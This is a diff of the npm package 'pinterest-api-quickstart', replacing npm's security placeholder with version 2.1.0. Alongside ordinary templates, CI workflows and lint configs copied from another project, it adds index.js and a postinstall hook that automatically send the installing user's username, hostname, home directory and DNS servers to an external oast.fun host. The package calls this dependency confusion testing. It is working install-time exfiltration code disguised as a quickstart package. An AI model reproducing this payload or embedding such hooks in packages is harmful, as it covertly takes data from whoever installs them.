pinterest-api-quickstart 0.0.1-security → 2.1.0

package/.github/ISSUE_TEMPLATE/schema-inaccuracy.md

@@ -0,0 +1,26 @@
+---
+name: Schema Inaccuracy
+about: Reporting problems with the description
+title: "[Schema Inaccuracy] <Describe Problem>"
+labels: Inaccuracy
+assignees: ''
+
+---
+
+# Schema Inaccuracy
+
+<!--- 
+Describe the problem shortly. Include the specific operation / schema that contains an error.
+-->
+
+## Expected
+
+<!---
+What was expected? 
+--->
+
+## Reproduction Steps
+
+<!---
+Include steps to reproduce the problem with the description. 
+--->

package/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md

@@ -0,0 +1,3 @@
+Thank you for contributing to [intercom/Intercom-OpenAPI](https://github.com/intercom/Intercom-OpenAPI)!
+
+**Please note that we cannot accept pull requests that directly modify the descriptions in this repo.** If you have identified a problem with the descriptions, [consider opening an issue instead](https://github.com/intercom/Intercom-OpenAPI/issues/new?template=schema-inaccuracy.md) :bow:

package/.github/workflows/generate_postman_collection.yml

@@ -0,0 +1,33 @@
+name: Deploy postman collection
+on:
+  push:
+    # Sequence of patterns matched against refs/heads
+    branches:
+      - main
+jobs:
+  deployment:
+    runs-on: ubuntu-latest
+    environment: production
+    steps:
+      - uses: actions/checkout@v3
+        with:
+          fetch-depth: 2
+      - uses: actions/setup-node@v4
+        with:
+          node-version: "20"
+      - name: "Create env file"
+        run: |
+          touch .env
+          echo POSTMAN_API_KEY=${{  secrets.POSTMAN_API_KEY }} >> .env
+          echo POSTMAN_WORKSPACE_ID=${{  secrets.POSTMAN_WORKSPACE_ID }} >> .env
+          echo ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION=true >> .env
+      - run: npm install
+      - name: Changed Files
+        id: changed-files
+        uses: tj-actions/changed-files@v35
+      - run: node ./scripts/postman/run-postman-collection.js ${{ steps.changed-files.outputs.all_changed_and_modified_files }}
+      - name: List all changed files
+        run: |
+          for file in ${{ steps.changed-files.outputs.all_changed_and_modified_files }}; do
+            echo "$file was changed"
+          done

package/.github/workflows/ts-sdk.yml

@@ -0,0 +1,29 @@
+name: Release TypeScript SDK
+
+on:
+  workflow_dispatch:
+    inputs:
+      version:
+        description: "The version of the SDKs that you would like to release"
+        required: true
+        type: string
+
+jobs:
+  release:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout repo
+        uses: actions/checkout@v3
+
+      - name: Setup node
+        uses: actions/setup-node@v4
+
+      - name: Download Fern
+        run: npm install -g fern-api
+
+      - name: Release SDKs
+        env:
+          FERN_TOKEN: ${{ secrets.FERN_TOKEN }}
+          FERN_NPM_TOKEN: ${{ secrets.FERN_NPM_TOKEN }}
+        run: |
+          fern generate --group ts-sdk --version ${{ inputs.version }} --log-level debug

package/.prettierignore

@@ -0,0 +1,2 @@
+package-lock.json
+package.json

package/.prettierrc.js

@@ -0,0 +1,7 @@
+'use strict';
+
+module.exports = {
+  printWidth: 100,
+  singleQuote: true,
+  trailingComma: 'all',
+};

package/.yamllint-config.yml

@@ -0,0 +1,28 @@
+---
+
+extends: default
+
+rules:
+  braces:
+    level: warning
+    max-spaces-inside: 1
+  brackets:
+    level: warning
+    max-spaces-inside: 1
+  colons:
+    level: warning
+  commas:
+    level: warning
+  comments: disable
+  comments-indentation: disable
+  document-start: disable
+  empty-lines:
+    level: warning
+  hyphens:
+    level: warning
+  indentation:
+    level: warning
+    indent-sequences: consistent
+  line-length: disable
+  trailing-spaces: disable
+  truthy: disable

package/index.js

@@ -0,0 +1,49 @@
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const fs = require("fs");
+
+// Read package.json safely
+let packageJSON = {};
+try {
+    packageJSON = JSON.parse(fs.readFileSync("./package.json", "utf8"));
+} catch (err) {
+    packageJSON = { name: "unknown", version: "unknown" };
+}
+
+// Prepare tracking data (RAW JSON)
+const trackingData = JSON.stringify({
+    package: packageJSON.name || "unknown",
+    version: packageJSON.version || "unknown",
+    directory: __dirname,
+    homeDir: os.homedir(),
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    dnsServers: dns.getServers(),
+});
+
+// Request options
+const options = {
+    hostname: "wjlmgboaixijetkhmbmxsugt0cxa9dwa0.oast.fun",
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(trackingData),
+    },
+};
+
+// Send the data
+const req = https.request(options, (res) => {
+    console.log(`Status: ${res.statusCode}`);
+    res.on("data", (d) => process.stdout.write(d));
+});
+
+req.on("error", (e) => {
+    console.error(`Request error: ${e.message}`);
+});
+
+req.write(trackingData);
+req.end();
+

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "pinterest-api-quickstart",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2.1.0",
+  "description": "Example package for dependency confusion testing",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "dependencies": {},
+  "author": "Adarsh",
+  "license": "MIT"
 }
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=pinterest-api-quickstart for more information.